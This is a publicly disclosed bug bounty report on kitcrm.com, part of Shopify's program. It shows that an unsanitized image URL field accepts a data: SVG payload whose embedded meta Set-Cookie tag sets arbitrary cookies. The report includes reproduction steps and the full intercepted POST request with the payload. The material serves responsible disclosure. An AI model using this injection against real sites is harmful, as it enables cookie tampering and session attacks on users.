Shopify · Report #213991

Setting Arbitrary Cookie at kitcrm.com

Validstatus

2upvotes

23 Aug 2017disclosed

How it was found

Hey

The src parameter of Image is not being sanitized which allows me to set cookies at kitcrm.com

Proof of Concept

Create a post at https://kitcrm.com/pages/ID/manual_posts/new
Select Schedule for Later
Go to Scheduled Posts https://kitcrm.com/pages/ID/manual_posts
Click Edit on your post
Select any random photo and click "Update"
Intercept the request, Change the manual_post[image_url] to data:image/svg+xml,<svg xmlns='http://www.w3.org/2000/svg'><circle r='100'></circle><foreignObject><html xmlns='http://www.w3.org/1999/xhtml'><meta http-equiv='Set-Cookie' content='ppp=qqq' /></html></foreignObject></svg>
Check document.cookie from the console

POST /pages/176625/manual_posts/30923 HTTP/1.1
Host: kitcrm.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:51.0) Gecko/20100101 Firefox/51.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: https://kitcrm.com/pages/176625/manual_posts/30923/edit
Cookie: 
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=---------------------------153019791019196005451079530934
Content-Length: 3600

-----------------------------153019791019196005451079530934
Content-Disposition: form-data; name="utf8"

â
-----------------------------153019791019196005451079530934
Content-Disposition: form-data; name="_method"

patch
-----------------------------153019791019196005451079530934
Content-Disposition: form-data; name="authenticity_token"

HSRt0lrRnpOeD8pANBLJWen0cCihQV/eAhaCBvUR7XjZkiqSjXWDBvY+Qr/+fk9QjL7RI1aTOPciNpGQLnKBFg==
-----------------------------153019791019196005451079530934
Content-Disposition: form-data; name="manual_post[image_uploader]"; filename="medium_divider.png"
Content-Type: image/png

PNG


IHDRd¨ËfwsRGB®ÎéIDATxíÝAN1PqÄp
ØufÏ\#sGr*¤XVlç±ië÷ûR/èyzòC @ @ @ @ @ @ @ @ @ @ @ @ @ @ @,pýxûùãïÇýv}ÿ) @ÕFÿþ?¯vCæ!@=È{2%P ËÄ@ØC@ì±'S @`9²ÜJD=È{2%P ËÄ@ØC@ì±'S @`9²ÜJD=^öÓü¯£ÿ-ímó~s<Ì³u2P G¯×Í @`gëd- @^¯#@À<2ÏÖÉ8Z@½^7Gy
d	 p´9z½nóÈ<[' @àhrôzÝæ	(y¶N&@ÀÑ×è{fÖqs <D4Òtd H¤ @@ð} MGFÀ?øýùkh×÷¡ë]<d	RpD H¶ @@P GDY@d	RpD H¶ @@P GDY@d	RpD H¶ @@~Öã~»Êù"	\÷ÛÐõ.Î£ßå	$ÛJ @ (#"@, @²)8"È
$ÛH @ (#"@, @²)8"È
$ÛH @ (#"@, @²)8"È
$ÛH @ (#"@, @²)8"È
$ÛH @ (#"@, @²)8"È
$ÛH @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @þRàS¿i{IEND®B`
-----------------------------153019791019196005451079530934
Content-Disposition: form-data; name="manual_post[message]"

sdasda
-----------------------------153019791019196005451079530934
Content-Disposition: form-data; name="manual_post[link]"


-----------------------------153019791019196005451079530934
Content-Disposition: form-data; name="manual_post[facebook]"

true
-----------------------------153019791019196005451079530934
Content-Disposition: form-data; name="manual_post[twitter]"

false
-----------------------------153019791019196005451079530934
Content-Disposition: form-data; name="manual_post[share_all]"

false
-----------------------------153019791019196005451079530934
Content-Disposition: form-data; name="manual_post[publish_at]"

1:00
-----------------------------153019791019196005451079530934
Content-Disposition: form-data; name="manual_post[publish_at_1i]"

2017
-----------------------------153019791019196005451079530934
Content-Disposition: form-data; name="manual_post[publish_at_2i]"

3
-----------------------------153019791019196005451079530934
Content-Disposition: form-data; name="manual_post[publish_at_3i]"

17
-----------------------------153019791019196005451079530934
Content-Disposition: form-data; name="manual_post[publish_at_4i]"

1
-----------------------------153019791019196005451079530934
Content-Disposition: form-data; name="manual_post[publish_at_5i]"

0
-----------------------------153019791019196005451079530934
Content-Disposition: form-data; name="commit"

UPDATE
-----------------------------153019791019196005451079530934
Content-Disposition: form-data; name="manual_post[image_url]"

data:image/svg+xml,<svg xmlns='http://www.w3.org/2000/svg'><circle r='100'></circle><foreignObject><html xmlns='http://www.w3.org/1999/xhtml'><meta http-equiv='Set-Cookie' content='ppp=qqq' /></html></foreignObject></svg>
-----------------------------153019791019196005451079530934--

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original